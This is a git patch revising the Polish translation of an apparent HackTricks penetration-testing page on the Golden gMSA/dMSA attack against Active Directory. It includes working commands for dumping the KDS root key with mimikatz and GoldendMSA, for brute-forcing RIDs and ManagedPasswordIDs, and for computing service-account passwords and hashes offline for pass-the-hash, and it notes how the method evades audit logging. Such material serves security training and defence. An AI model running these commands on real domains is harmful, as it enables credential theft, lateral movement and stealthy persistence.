From 17e30b586726986ac93e97f1325f399b554fca36 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 21 Jul 2025 22:39:45 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/golden-d --- .../golden-dmsa-gmsa.md | 49 +++++++++++-------- 1 file changed, 29 insertions(+), 20 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md index 22027d5b6..900008255 100644 --- a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md +++ b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md @@ -1,4 +1,4 @@ -# Złoty gMSA/dMSA Atak (Offline Derywacja Haseł Kont Zarządzanych) +# Złoty gMSA/dMSA Atak (Offline Derivacja Haseł Kont Usług Zarządzanych) {{#include ../../banners/hacktricks-training.md}} @@ -15,25 +15,25 @@ Dla obu wariantów **hasło nie jest przechowywane** na każdym Kontrolerze Dome * **SID** docelowego konta. * **ManagedPasswordID** (GUID) na poziomie konta, znajdującego się w atrybucie `msDS-ManagedPasswordId`. -Derywacja to: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240-bajtowy blob, który jest ostatecznie **zakodowany w base64** i przechowywany w atrybucie `msDS-ManagedPassword`. Nie jest wymagany żaden ruch Kerberos ani interakcja z domeną podczas normalnego użycia hasła – host członkowski wyprowadza hasło lokalnie, o ile zna trzy wejścia. +Derivacja to: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240-bajtowy blob, który jest ostatecznie **zakodowany w base64** i przechowywany w atrybucie `msDS-ManagedPassword`. Nie jest wymagany żaden ruch Kerberos ani interakcja z domeną podczas normalnego użycia hasła – host członkowski wyprowadza hasło lokalnie, o ile zna trzy wejścia. ## Złoty gMSA / Złoty dMSA Atak -Jeśli atakujący może uzyskać wszystkie trzy wejścia **offline**, może obliczyć **ważne aktualne i przyszłe hasła** dla **dowolnego gMSA/dMSA w lesie**, nie dotykając ponownie DC, omijając: +Jeśli atakujący może uzyskać wszystkie trzy wejścia **offline**, może obliczyć **ważne aktualne i przyszłe hasła** dla **dowolnego gMSA/dMSA w lesie** bez ponownego dotykania DC, omijając: -* logi wstępnej autoryzacji Kerberos / żądania biletów -* audyt odczytu LDAP -* interwały zmiany haseł (mogą je wstępnie obliczyć) +* Audyt odczytu LDAP +* Interwały zmiany hasła (mogą je wstępnie obliczyć) Jest to analogiczne do *Złotego Biletu* dla kont usługowych. ### Wymagania wstępne -1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise). Dostęp `SYSTEM` jest wystarczający. -2. Możliwość enumeracji kont usługowych (odczyt LDAP / brute-force RID). +1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise), lub dostęp `SYSTEM` do jednego z DC w lesie. +2. Możliwość enumeracji kont usługowych (odczyt LDAP / brutalne siłowe atakowanie RID). 3. Stacja robocza .NET ≥ 4.7.2 x64 do uruchomienia [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) lub równoważnego kodu. -### Faza 1 – Ekstrakcja Klucza KDS Root +### Złoty gMSA / dMSA +##### Faza 1 – Ekstrakcja Klucza KDS Root Zrzut z dowolnego DC (Kopia Cienia Woluminu / surowe hives SAM+SECURITY lub zdalne sekrety): ```cmd @@ -43,16 +43,25 @@ reg save HKLM\SYSTEM system.hive # With mimikatz on the DC / offline mimikatz # lsadump::secrets mimikatz # lsadump::trust /patch # shows KDS root keys too + +# With GoldendMSA +GoldendMSA.exe kds --domain # query KDS root keys from a DC in the forest +GoldendMSA.exe kds + +# With GoldenGMSA +GoldenGMSA.exe kdsinfo ``` Ciąg base64 oznaczony jako `RootKey` (nazwa GUID) jest wymagany w późniejszych krokach. -### Faza 2 – Enumeracja obiektów gMSA/dMSA +##### Faza 2 – Enumeracja obiektów gMSA / dMSA Pobierz przynajmniej `sAMAccountName`, `objectSid` i `msDS-ManagedPasswordId`: ```powershell # Authenticated or anonymous depending on ACLs Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Select sAMAccountName,objectSid,msDS-ManagedPasswordId + +GoldenGMSA.exe gmsainfo ``` [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementuje tryby pomocnicze: ```powershell @@ -62,29 +71,27 @@ GoldendMSA.exe info -d example.local -m ldap # RID brute force if anonymous binds are blocked GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd ``` -### Faza 3 – Zgadnij / Odkryj ManagedPasswordID (gdy brakuje) +##### Faza 3 – Zgadnij / Odkryj ManagedPasswordID (gdy brakuje) Niektóre wdrożenia *usuwają* `msDS-ManagedPasswordId` z odczytów chronionych przez ACL. Ponieważ GUID ma 128 bitów, naiwne brute force jest niepraktyczne, ale: -1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (rozdzielczość minutowa). +1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (z dokładnością do minut). 2. Następnie 96 losowych bitów. -Dlatego **wąska lista słów dla każdego konta** (± kilka godzin) jest realistyczna. +Dlatego **wąska lista słów dla konta** (± kilka godzin) jest realistyczna. ```powershell GoldendMSA.exe wordlist -s -d example.local -f example.local -k ``` Narzędzie oblicza kandydatów na hasła i porównuje ich blob base64 z rzeczywistym atrybutem `msDS-ManagedPassword` – dopasowanie ujawnia poprawny GUID. -### Faza 4 – Offline Obliczanie Hasła i Konwersja +##### Faza 4 – Offline Obliczanie Hasła i Konwersja -Gdy ManagedPasswordID jest znane, ważne hasło jest na wyciągnięcie ręki: +Gdy znany jest ManagedPasswordID, ważne hasło jest na wyciągnięcie ręki: ```powershell # derive base64 password -GoldendMSA.exe compute -s -k -d example.local -m - -# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket -GoldendMSA.exe convert -d example.local -u svc_web$ -p +GoldendMSA.exe compute -s -k -d example.local -m -i +GoldenGMSA.exe compute --sid --kdskey --pwdid ``` Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`) lub **Rubeus** w celu nadużycia Kerberos, co umożliwia ukryty **lateral movement** i **persistence**. @@ -99,13 +106,15 @@ Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`) ## Narzędzia * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – implementacja referencyjna używana na tej stronie. +* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – implementacja referencyjna używana na tej stronie. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket przy użyciu pochodnych kluczy AES. ## Odniesienia - [Golden dMSA – obejście uwierzytelniania dla delegowanych zarządzanych kont serwisowych](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) -- [Repozytorium Semperis/GoldenDMSA na GitHubie](https://github.com/Semperis/GoldenDMSA) +- [gMSA Ataki Active Directory Konta](https://www.semperis.com/blog/golden-gmsa-attack/) +- [Repozytorium GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA) - [Improsec – atak zaufania Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) {{#include ../../banners/hacktricks-training.md}}